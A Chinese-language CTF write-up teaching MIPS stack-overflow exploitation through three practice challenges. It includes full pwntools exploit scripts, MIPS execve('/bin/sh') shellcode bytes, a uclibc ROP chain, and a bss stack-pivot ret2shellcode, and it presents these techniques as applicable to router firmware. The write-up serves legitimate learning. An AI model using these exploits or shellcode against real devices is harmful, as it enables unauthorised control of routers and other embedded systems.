MIPS架构常用于路由器设备,而路由器固件漏洞大部分都是栈溢出,因此,掌握MIPS架构下的漏洞利用对于挖掘利用路由器漏洞也是很重要的一项技能。
准备环境及工具:
- Ubuntu16虚拟机(Ubuntu14或者Ubuntu18也可以,不过推荐使用Ubuntu16,我用18装环境遇到了很多奇奇怪怪的问题)
- buildroot交叉编译环境,由于buildroot只能编译大端序或者小端序一种架构的环境,这里推荐安装gcc-mipsel-linux-gnu和gcc-mips-linux-gnu,直接apt安装就可以,使用方法和gcc一样
- gdb-multiarch,提供多架构的调试,直接apt安装,再装一个pwndbg或者peda或者gef插件使用更方便,使用方法:qemu-mips/qemu-mipsel -L lib/ -g 1234(端口号) ./bin ,然后gdb-multiarch ./bin加载程序,gdb会自动识别程序架构,然后用target remote:127.0.0.1:1234来连接qemu进行调试即可。当然,用IDA连接也是可以,Debugger->Remote GDB Debugger然后填上ip端口号和文件路径就行了
- IDA插件,mipsrop,开源在GitHub上,由于mips指令和x86指令存在差别,mips指令没有类似于push、pop这种直接使数据入栈出栈的指令,只有lw(load word),sw(save word)之类的指令来进行数据的转移,于是我们要在栈上进行操作就有很多种方式,用ROPgadget来搜索会很麻烦,而mipsrop会将gadgets进行分类以及不同的gadget使用后导致的结果显示出来,使用起来要方便的多。
- Ghidra,将mips汇编反编译为c伪代码,jeb也有mips反编译功能,不过对比了一下觉得Ghidra的效果更好(IDA7.5也新增了mips反编译功能,不过……贫穷使我望而却步)
简单说一下mips架构的寄存器及作用。mips32一共有32个通用寄存器,用$0-$31表示。$4-$7寄存器用作函数传参,记为$a0-$a3(argument),超出四个参数的用栈传参;$28寄存器记为$gp(global pointer),这是一个全局指针,各种函数调用之类都靠$gp寻址;$29记为$sp(stack pointer),作用和x86架构的sp寄存器一样,指向栈顶;$30记为$fp(fram pointer),或者记为$s8,这个寄存器类似于x86架构的ebp指针,指向栈底;$31记为$ra(return address),类似于x86架构的eip寄存器,保存返回地址,我们的攻击目标就是劫持$ra寄存器。我们进行利用常用的就这些寄存器。
接下来上题
0x1.rootme-ELF MIPS - Stack buffer overflow - No NX
题目只给我们mips的汇编代码,所以我们需要由汇编编译出可执行文件
.set nomips16
.global __start
.text
__start:
la $t9, function
jalr $t9
nop
addiu $v0, $zero, 4000 + 1
move $a0, $zero
syscall
function:
subu $sp, $sp, 0x18
sw $ra, 0x14($sp)
# write
addiu $v0, $zero, 4000 + 4
la $a0, 1
la $a1, hello
la $a2, hello_len
syscall
# read
addiu $v0, $zero, 4000 + 3
move $a0, $zero
move $a1, $sp
addiu $a2, $zero, 0x80
syscall
# write
addiu $v0, $zero, 4000 + 4
la $a0, 1
la $a1, hello_start
la $a2, hello_start_len
syscall
# write
addiu $v0, $zero, 4000 + 4
la $a0, 1
move $a1, $sp
la $a2, 20
syscall
lw $ra, 0x14($sp)
addiu $sp, 0x18
jr $ra
nop
.data
hello: .asciz "Hello World\nWhat is your name: "
hello_len = . - hello
hello_start: .asciz "Hello "
hello_start_len = . - hello_start
题目给的保护如下
由于题目说的是MIPS,所以我们就按照大端序来编译
用如下命令进行编译
mips-linux-gnu-as of.s -o of.o #编译成二进制目标文件
mips-linux-gnu-ld of.o -o of #编译生成可执行文件
然后我们运行一下,由于是静态编译,所以直接./of即可
从汇编我们可以看到
subu $sp, $sp, 0x18
sw $ra, 0x14($sp)
函数开头只将栈顶抬高了0x18个字节,并将返回地址存入sp+0x14的位置,而后面的read功能读入0x80个字节
# read
addiu $v0, $zero, 4000 + 3 #$v0保存系统调用号,read系统调用号为4003
move $a0, $zero #$a0保存第一个参数,0
move $a1, $sp #$a1保存第二个参数,栈顶指针
addiu $a2, $zero, 0x80 #$a2保存第三个参数,0x80
存在很明显的栈溢出,而由于程序是由简短的汇编代码生成,所以基本上不存在可用的gadget,而由于远程没有开启ASLR,所以栈地址也不会发生变化,且程序没有NX保护,所以我们使用shellcode来进行利用
由汇编代码我们可以知道offset为0x14,我们填充0x14个垃圾字符,然后将返回值覆盖为$sp+0x14+4,即存储返回地址的位置的后四字节,然后将$sp+0x14+4的值填充为shellcode,这样返回到$ra之后就会执行shellcode
关闭本机上的aslr后动态调试,可以得到stack的地址
不过在按照这个栈地址打不通,于是我动调了一下exp,发现此时的栈地址后三位为148,调试程序和调试exp时的栈地址相差0x10的大小
修改之后便能打通了,最终exp如下
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'big'
# io=process(['qemu-mips','-g','1235','./of'])
io = process('./of')
stack = 0x76fff148
payload = 'A'*0x14
payload += p32(stack+0x18)
shellcode = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
payload += shellcode
io.recvuntil('What is your name: ')
io.send(payload)
io.interactive()
(但不知道为什么远程就是打不通。。。)
0x2.rootme-ELF MIPS - Basic ROP
程序保护如下
连接ssh下载文件
)(rootme的ssh连上去还挺好康的)
虽然题目已经告诉了保护情况,但拿到题目我还是习惯先checksec一下
32位大端序程序,而且之前ssh连上去之后就直接告诉我们了程序是动态编译的
于是我们顺便把lib文件夹下载下来(由于ssh服务器在外网,所以我这里下载的挺慢的。。。),文件夹中有两个文件,ld.so.1和libc.so.6
但运行起来却出了意想不到的情况
一般来说应该直接qemu-mips -L ./ ./ch64就能运行起来,但这题却给我报了这么个错
然而在ssh服务器上使用这条命令却能直接运行
有点懵逼,遂谷歌报错信息,但并没有获得有用的信息,查看了一下ssh服务器上的qemu版本,为2.11.1,猜测是不是qemu版本不对,就下载了2.11.1,然而并没有什么🥚用,陷入沉思。之后又谷歌了一下,看到有类似报错的,直接使用-g进行调试,于是使用qemu-mips -L ./ -g 1234 ./ch64启动调试,vmmap查看发现程序并未加载libc.6.so库,仅仅只加载了ld.so.1,于是便使用pwn题下加载不同libc的方法强制加载libc.so.6库
export LD_LIBRARY_PATH=`pwd`
export LD_PRELOAD=lib/libc.so.6
然后运行
成功!第一行的报错个人猜测是我强制加载了libc库,然后-L 又指定了一下libc,然后报错,当然这只是猜测,也懒得谷歌了
接下来就开始利用
首先将程序分别用IDA和Ghidra进行加载,用ghidra查看伪代码,main函数如下
undefined4 main(void)
{
int iVar1;
byte bStack144;
char acStack136 [128];
bStack144 = 0;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(_stdout,(char *)0x0,2,0);
while (bStack144 < 4) {
if (bStack144 == 3) {
puts("\nAccess denied.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Enter your passphrase: ");
fgets(acStack136,0x200,stdin);
iVar1 = strncmp(acStack136,"$MyPasswordPoorlySecured!",0x19);
if (iVar1 == 0) break;
bStack144 = bStack144 + 1;
}
puts("\nAccess granted!.\n");
return 0;
}
分析main函数,我们有三次输入的机会,存在明显的栈溢出
char acStack136 [128];
fgets(acStack136,0x200,stdin);
fgets接受0x200个字节的输入,而缓冲区大小只有128字节,当输入为$MyPasswordPoorlySecured!时就退出while循环
我们动态调试一下来确定偏移量,使用cyclic 200生成200个字符,然后输入进去
程序崩溃,然后确定偏移量
offset=132,我们再来验证一下,我们使用cyclic生成132个字符再加上BBBB
可以看到,返回地址确实被覆盖成了BBBB
确定了返回地址,该怎么利用
由于远程环境未开启ASLR且程序未开启PIE,所以libc加载地址是不变的,我们无需泄露libc地址,直接vmmap查看libc加载地址即可
可以查看到libc基地址为0x76637000
然后我们要构造出system(‘/bin/sh’),有了libc基地址,system和binsh字符串的地址也知道了,接下来查找gadget,IDA加载libc.so.6,使用mipsrop.stackfinder()命令查找用于栈的gadgets
我们需要控制$a0,用于存放binsh的地址,我们选择0x0012BAA4位置处的gadget来操作,如下
.text:0012BAA4 move $t9, $s0
.text:0012BAA8 jalr $t9 ; pipe
.text:0012BAAC addiu $a0, $sp, 0x24 # '$'
这一处gadget会将$sp+0x24处的值作为$a0的值,所以$sp+0x24处我们要填上binsh的地址,然后会跳转到$s0寄存器指向的地址处,所以$s0我们要设置为system函数的地址,为了方便说明,我们称这个gadget为gadget_a0
要完成gadget_a0,我们需要先设置好$s0寄存器的值,uclibc中有一个类似于x86-64架构下的通用gadget,可以设置我们要用到的绝大多数的寄存器的值,位于 scandir
或者 scandir64
尾部,如下所示
.text:000AE818 lw $ra, 0x40+var_4($sp)
.text:000AE81C move $v0, $s6
.text:000AE820 lw $s7, 0x40+var_8($sp)
.text:000AE824 lw $s6, 0x40+var_C($sp)
.text:000AE828 lw $s5, 0x40+var_10($sp)
.text:000AE82C lw $s4, 0x40+var_14($sp)
.text:000AE830 lw $s3, 0x40+var_18($sp)
.text:000AE834 lw $s2, 0x40+var_1C($sp)
.text:000AE838 lw $s1, 0x40+var_20($sp)
.text:000AE83C lw $s0, 0x40+var_24($sp)
.text:000AE840 jr $ra
.text:000AE844 addiu $sp, 0x40
利用这个gadget,我们可以将$s0设置为system函数的地址,将这个gadget执行完后的返回值设置为gadget_a0的地址,即在$sp+0x3c的位置处填入gadget_a0的地址,类似的我们称这个gadget为gadget_s0
于是,我们整个payload的结构图如下
详细地解释一下这个流程,首先偏移量132,随后将返回地址覆盖为gadget_s0,然后由于这一句
lw $s0, 0x40+var_24($sp)
将0x1c($sp)位置处的值写入$s0,所以$sp+0x1c处我们填充为system地址,而由于当程序执行gadget_s0时,gadget_s0就是sp所指向的位置,所以直接填充0x1c个垃圾字符后接上system地址即可,由于返回地址为
lw $ra, 0x40+var_4($sp)
即相对于返回地址位置+0x3c处要填充为gadget_a0的地址,‘A’*0X1C+system(4字节)=0x20字节,所以在system后再填充(0x3c-0x20)个字节的垃圾字符,然后再填充gadget_a0的地址,再填充0x24个垃圾字节,最后写入binsh的地址
不过这样子的exp写完会有点问题,发生在执行system(“/bin/sh”)的时候,如下
也不想调试到底是哪里发生了问题,作为替代,我将binsh的地址直接替换为sh\x00\x00,然后就可以打通了,exp如下
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.arch = 'mips'
context.endian = 'big'
io = process(['qemu-mips', '-L', './', './ch64'])
#io = process(['qemu-mips', '-L', './', '-g', '1234', './ch64'])
libc = ELF('lib/libc.so.6')
libc_base = 0x76637000
system_addr = libc_base+libc.symbols['system']
binsh_addr = libc_base+0x00164fac
gadget_a0 = 0x0012BAA4+libc_base
gadget_s0 = 0x000AE818+libc_base
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
log.success('gadget_a0 => {}'.format(hex(gadget_a0)))
log.success('gadget_s0 => {}'.format(hex(gadget_s0)))
'''
payload = 'A'*0x40
payload += p32(0x409010)
payload += 'A'*0x40
'''
payload = 'A'*132
payload += p32(gadget_s0)
payload += 'A'*0x1c
payload += p32(system_addr)
payload += 'A'*0x1c
payload += p32(gadget_a0)
payload += 'A'*0x24
payload += 'sh'.ljust(4, '\x00')
io.recvuntil('Enter your passphrase: ')
io.sendline(payload)
io.recvuntil('Enter your passphrase: ')
io.sendline('$MyPasswordPoorlySecured!')
io.interactive()
0x3.xmctf.top-mipspwn
下载下来有两个libc文件和一个可执行文件,checksec检查一下
32位小端序,无保护
file一下
静态编译,所以这个lib文件夹并没有什么用
分别用ghidra和IDA加载题目,ghidra查看伪代码
main函数和漏洞函数分别如下
undefined4 main(EVP_PKEY_CTX *param_1)
{
init(param_1);
puts("what is your name?");
read(0,a,3);
vul();
return 0;
}
undefined4 vul(void)
{
undefined auStack64 [56];
puts("just do it~");
read(0,auStack64,0xb0);
return 0;
}c
read读入的字节数大于缓冲区的大小,造成溢出
注意到存在一个backdoor函数,查看一下
void backdoor(void)
{
system("how are you?");
return;
}
并没有什么🥚用,只是提供了一个system函数
IDA使用mipsrop查找一下gadget
虽然是静态编译,但可用的gadget非常少
而用于栈的gadget只有一条,还是为$a1赋值
所以我们得换个思路,gadget不足,不能用rop来getshell,但程序没有NX保护,所以我们便采用ret2shellcode来利用
首先确定一下偏移量大小
glibcpwn中,ret2shellcode有时会利用read函数往bss端读入shellcode然后跳转到bss段执行,这题的利用手法也类似,不过在这题中,我们并不能手动构造出read函数,而是借用vul函数中的read语句来执行,如下所示
.text:00400484 li $a2, 0xB0
.text:00400488 addiu $v0, $fp, 0x58+var_40
.text:0040048C move $a1, $v0
.text:00400490 move $a0, $zero
.text:00400494 la $v0, read
.text:00400498 move $t9, $v0
.text:0040049C bal read
注意到read函数的第二个参数,也就是读入的地址来源于$v0,而$v0又来源于$fp+0x58-0x40,继续往下看到vul函数结束的语句
.text:004004B0 lw $ra, 0x58+var_4($sp)
.text:004004B4 lw $fp, 0x58+var_8($sp)
.text:004004B8 addiu $sp, 0x58
.text:004004BC jr $ra
vul函数结束时会还原栈帧,main函数的$fp的值会存在$ra的上方,函数结束时会将其取出放入$fp中,因此我们可以控制$fp的值,再将$ra覆盖为read功能开始处,也就是0x00400484,这样我们就能将shellcode写入别的位置,再将返回地址覆盖为shellcode写入的位置,返回后就会执行shellcode
先贴上exp
#!/usr/bin/python
from pwn import *
from time import sleep
context.log_level = 'debug'
context.arch = 'mips'
context.endian = 'little'
#io = process(['./qemu-mipsel', '-g','1234', './pwn2'])
#io=remote('xmctf.top',8905)
io=process('./pwn2')
elf = ELF('pwn2')
io.recvuntil("what is your name?\n")
io.send('a')
io.recvuntil('just do it~')
#shellcode = "\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"
#shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"
shellcode="\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
bss = elf.bss()
read = 0x400484
payload = 'A'*56
payload += p32(bss+0x50-0x58+0x40)
payload += p32(read)
io.send(payload)
sleep(1)
payload = 'A'*60
payload += p32(bss+0x50+0x40)
payload += shellcode
io.send(payload)
io.interactive()
由于偏移量为60,那么相对于fp就为56,我们的目标是往bss段写入shellcode,为避免bss开头存在某些值,选择往bss+0x50处写入shellcode
addiu $v0, $fp, 0x58+var_40
因为是将$fp+0x58-0x40赋给$v0,为避免计算,我们将$fp设置为bss+0x50-0x58+0x40,这样赋给$v0的就是(bss+0x50-0x58+0x40)+0x58-0x40=bss+0x50,随后sleep(1),等待rop执行,接着就会执行第二次read,往bss+0x50读,实际上这就是一个栈迁移,将栈迁移到了bss段,这次就只需要覆盖$ra,将$ra修改为shellcode的地址。第二次read从bss+0x50开始,然后写入60(0x3c)个A,返回地址占四字节,加起来就是0x40个字节,返回地址之后就是shellcode,所以将返回地址修改为bss+0x50+0x40就好
执行效果如下
总结
这三道题相信在做多了glibcpwn的师傅们看来都是基础题,需要注意的就是mips架构下的指令和寄存器的功能,以及叶子函数和非叶子函数的一点区别。不过在跟着《解密家用路由器0day漏洞挖掘技术》这本书进行一些路由器漏洞的复现时,发觉挺多路由器漏洞的利用难度也差不多是这个水平(当然也不能局限于这个难度,难题也还是有的),路由器绝大部分无aslr,固件无保护,困难之处在于发现漏洞。当然也可能是因为我接触的少了,这本书上的几个漏洞也都是好几年前的了,现在的情况也应该有所变化。
最后,希望本篇文章能为像我一样刚入门的师傅们提供一点帮助。
参考链接: